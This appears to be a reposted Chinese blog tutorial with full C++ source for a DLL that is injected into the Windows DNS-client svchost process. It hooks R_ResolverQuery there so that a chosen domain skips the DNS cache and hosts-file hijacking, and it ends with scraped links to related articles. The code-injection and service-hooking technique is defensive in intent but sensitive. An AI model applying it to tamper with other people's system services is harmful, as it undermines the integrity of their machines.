绕过本机DNS缓存
--转载注明来源 http://www.cnblogs.com/sysnap/
0x1 背景
往HOST文件添加127.0.0.1 www.baidu.com, 可以劫持百度的域名。病毒经常篡改HOST文件来劫持域名,有没一种办法,不动HOST文件,又可以针对指定的域名使其不受HOST文件的影响?
0x02研究
通常进程调用gethostbyname来解析域名的IP,这个API内部会RPC到svchost里面去,由svchost来完成请求,最终调用R_ResolverQuery来完成解析工作,R_ResolverQuery的定义是int __stdcall R_ResolverQuery(unsigned __int16 *Handle, unsigned __int16 *pwsName, unsigned __int16 wType, unsigned int Flags, _DnsRecord **ppResultRecords),注意Flags,跟DnsQuery的fOptions是一样的,只要HOOK R_ResolverQuery, 判断pwsName是不是要保护的域名,然后给Flags或上DNS_QUERY_BYPASS_CACHE就可以了
0x03 R_ResolverQuery定位
定位R_ResolverQuery,这个函数是RPC IDL文件里面定义的,接口GUID为45776b01-5956-4485-9f80-f428f7d60129, 搜索dnsrslvr,找到45776b01-5956-4485-9f80-f428f7d60129特征就可以定位,具体的结构如下图所示
0x04 实现
一下是DLL的代码(XP测试通过,没测其它系统),需要找一个注入进程工具把DLL注入到svchost里面去,注意svchost是带-k NetWorkService的那个。HOOK函数会判断当前的域名解析请求是不是name_bypass_hostfile,是的话就不走缓存了
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <windows.h>
#include <Rpc.h>
#include <rpcdcep.h>
#include <RpcNdr.h>
#define DNS_IF_GUID_LEN 16
unsigned char DNS_IF_GUID_[DNS_IF_GUID_LEN] = { 0x01, 0x6b, 0x77, 0x45, 0x56, 0x59, 0x85, 0x44, 0x9f, 0x80, 0xf4, 0x28, 0xf7, 0xd6, 0x01, 0x29};
static const wchar_t* name_bypass_hostfile = L"www.baidu.com";
typedef int (__stdcall * pfnR_ResolverQuery)(
unsigned __int16 *Handle,
unsigned __int16 *pwsName,
unsigned __int16 wType,
unsigned int Flags,
void **ppResultRecords
);
typedef long ( __stdcall * SERVER_ROUTINE)();
static pfnR_ResolverQuery g_old_pfnR_ResolverQuery = NULL;
static void** g_off = NULL;
void** get_R_ResolverQuery_off(void* Base, size_t Limit)
{
PRPC_SERVER_INTERFACE srv_if = NULL;
void** _R_ResolverQuery = NULL;
__try
{
unsigned char* s_ptr = (unsigned char*)Base;
for(size_t i = 0; i < Limit; i++, s_ptr++)
{
if( 0 == memcmp(DNS_IF_GUID_, s_ptr, DNS_IF_GUID_LEN) )
{
srv_if = (PRPC_SERVER_INTERFACE)(s_ptr - sizeof(unsigned int));
PMIDL_SERVER_INFO InterpreterInfo = (PMIDL_SERVER_INFO)srv_if->InterpreterInfo;
if(InterpreterInfo)
{
const SERVER_ROUTINE * DispatchTable = InterpreterInfo->DispatchTable;
_R_ResolverQuery = (void**)&DispatchTable[0x09];
}
break;
}
}
}__except(1)
{
;
}
return _R_ResolverQuery;
}
int __stdcall
fake_R_ResolverQuery(
unsigned __int16 *Handle,
unsigned __int16 *pwsName,
unsigned __int16 wType,
unsigned int Flags,
void **ppResultRecords
)
{
#define DNS_QUERY_BYPASS_CACHE 0x08
unsigned int _Flags = Flags;
if(_wcsicmp(name_bypass_hostfile, (const wchar_t *)pwsName) == 0)
{
OutputDebugStringW((LPCWSTR)pwsName);
OutputDebugStringW(L"\n");
_Flags |= DNS_QUERY_BYPASS_CACHE;
}
return g_old_pfnR_ResolverQuery(Handle, pwsName, wType, _Flags, ppResultRecords);
}
void** hook_R_ResolverQuery(void* Base, size_t Limit, void** oldptr, pfnR_ResolverQuery hookptr)
{
void** rs = NULL;
pfnR_ResolverQuery* p_R_ResolverQuery = (pfnR_ResolverQuery*)get_R_ResolverQuery_off(Base, Limit);
if(p_R_ResolverQuery)
{
DWORD lpflOldProtect = 0;
BOOL result = VirtualProtect((void*)p_R_ResolverQuery, sizeof(PVOID),
PAGE_EXECUTE_READWRITE, &lpflOldProtect);
if(result)
{
rs = (void**)p_R_ResolverQuery;
*oldptr = (void*)*p_R_ResolverQuery;
*p_R_ResolverQuery = hookptr;
VirtualProtect((void*)p_R_ResolverQuery, sizeof(PVOID),
lpflOldProtect, &lpflOldProtect);
}
}
return (void**)rs;
}
void unhook_R_ResolverQuery(void** off, void* Oldptr)
{
DWORD lpflOldProtect = 0;
BOOL result = VirtualProtect((void*)off, sizeof(PVOID),
PAGE_EXECUTE_READWRITE, &lpflOldProtect);
if(result)
{
*off = Oldptr;
VirtualProtect((void*)off, sizeof(PVOID),
lpflOldProtect, &lpflOldProtect);
}
}
DWORD WINAPI hook_worker(
LPVOID lpParameter
)
{
if(lpParameter == (PVOID)1)
{
HMODULE hmod = ::GetModuleHandleA("dnsrslvr.dll");
if(hmod)
{
void* oldptr = NULL;
void** off = hook_R_ResolverQuery((void*)hmod, 45568, &oldptr, fake_R_ResolverQuery);
g_old_pfnR_ResolverQuery = (pfnR_ResolverQuery)oldptr;
g_off = off;
}
}else
{
(void)unhook_R_ResolverQuery(g_off, g_old_pfnR_ResolverQuery);
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//
//DllMain创建线程,只要没任何等待线程的操作就是安全的,不会死锁.
//
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD lpThreadId;
CreateThread(NULL, 0, hook_worker, (PVOID)1, 0, &lpThreadId);
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
{
//
//暴力卸载是不安全的.
//
DWORD lpThreadId;
CreateThread(NULL, 0, hook_worker, (PVOID)0, 0, &lpThreadId);
}
break;
}
return TRUE;
}
绕过本机DNS缓存的更多相关文章
- 查看和清除本机DNS缓存记录
Windows上查看和清除本机DNS缓存记录: ipconfig /displaydns 查看ipconfig /flushdns 清除 貌似Time To Live的单位是秒.
- 如何清除本机DNS缓存
如何清除本机DNS缓存 在实际应用过程中可能会遇到DNS解析错误的问题,就是说当我们访问一个域名时无法完成将其 解析到IP地址的工作,而直接输入网站IP却可以正常访问,这就是因为DNS解析出现故障造成 ...
- windows刷新本机DNS缓存
ipconfig /flushdns
- Vista/Win7以上系统查看和清除本地DNS缓存新方法
你是否因修改网站DNS解析后,却因本机DNS缓存而需要等待... 你是否遇到修改了本机的hosts文件后,必须重起firefox和ie才起作用... 其实只要清空DNS缓存这些问题都可以解决. 查看D ...
- 利用DNS缓存和TLS协议将受限SSRF变为通用SSRF
本文首发于先知社区 前言 这是今年BlackHat上的一个议题:When TLS Hacks You,作者是latacora的Joshua Maddux 议题提出了一个新的ssrf攻击思路,利用DNS ...
- 刷新DNS命令 如何刷新DNS缓存(flushdns)
运行:ipconfig /displaydns这个命令,查看一下本机已经缓存了那些的dns信息的,然后输入下面的命令 ipconfig /flushdns 这时本机的dns ...
- 如何清除DNS缓存,使用cmd命令清理DNS缓存方法
如何清除DNS缓存,使用cmd命令清理DNS缓存方法 有时候电脑突然上不了网,或者存在某些网站打不开的情况,但别的网站又可以打开,解决办法需要清除DNS缓存,那么如何清除DNS缓存呢,最常用的方法就是 ...
- 一次dns缓存引发的惨案
时间2015年的某个周六凌晨5点,公司官方的QQ群有用户反馈官网打不开了,但有的用户反馈可以打开,客服爬起来自己用电脑试了一下没有问题,就给客户反馈说,可能是自己网络的问题,请过会在试试.早点8点,越 ...
- dns缓存刷新时间是多久?dns本地缓存时间介绍
原文: http://www.winwin7.com/JC/4742.html dns缓存刷新时间是多久?一般来说,我们只知道DNS解析是互联网绝大多数应用的实际寻址方式,在我们打开某站点,DNS返回 ...
随机推荐
- springboot启动流程(三)Environment简介
所有文章 https://www.cnblogs.com/lay2017/p/11478237.html 简介 上一篇文章中,我们简单了解了一下SpringApplication的run方法的代码逻辑 ...
- springboot启动流程(八)ioc容器refresh过程(下篇)
所有文章 https://www.cnblogs.com/lay2017/p/11478237.html 正文 上一篇文章,我们知道了解析过程将从解析main方法所在的主类开始.在文章的最后我们稍微看 ...
- VBA比较运算符
VBA支持的比较运算符如下所示. 假设变量A=10,变量B=20,则 - 运算符 描述 示例 = 检查两个操作数的值是否相等.如果是,那么条件是真. (A = B)结果为:False <> ...
- ffmpeg转MP4文件为m3u8格式
第一种转换命令 #转mp4为ts ffmpeg -y -i D:\videos\BgFCWkn00qPBmWVzIEf0eQjaekx0oRjlk9VY2PcR.mp4 -vcodec copy -a ...
- Computer Vision_33_SIFT:Remote Sensing Image Registration With Modified SIFT and Enhanced Feature Matching——2017
此部分是计算机视觉部分,主要侧重在底层特征提取,视频分析,跟踪,目标检测和识别方面等方面.对于自己不太熟悉的领域比如摄像机标定和立体视觉,仅仅列出上google上引用次数比较多的文献.有一些刚刚出版的 ...
- Android 启动流程分析
原文:https://www.jianshu.com/p/a5532ecc8377 作者曾经在高通的Android性能组工作,主要工作是优化Android Application的启动时间. APP基 ...
- Django drf:序列化增删改查、局部与全局钩子源码流程、认证源码分析、执行流程
一.序列化类的增.删.改.查 用drf的序列化组件 -定义一个类继承class BookSerializer(serializers.Serializer): -写字段,如果不指定source ...
- 4.使用webpack-dev-server工具实现自动打包编译的功能
使用webpack-dev-server这个工具,来实现自动打包编译的功能 1.运行 npm i webpack-dev-server -D 把这个工具安装到项目的本地开发依赖 或者运行 cnpm i ...
- 7月新的开始 - Axure学习01 - 元件库、元件交互样式设置
解释: Axure 属于原型制作里的霸道总裁 1.原型:原型模拟真实产品的功能与设计.用于在初期阶段测试产品的可行性与效果.来节省开发成本与周期. 2.线框图:在初期实现对产品的了解.实现产品的基本结 ...
- BZOJ 4318 OSU! (概率DP)
题意 中文题面,难得解释了 题目传送门 分析 考虑到概率DPDPDP,显然可以想到f(i,j)f(i,j)f(i,j)表示到第iii位末尾有jjj个111的期望值.最后输出f(n+1,0)f(n+1, ...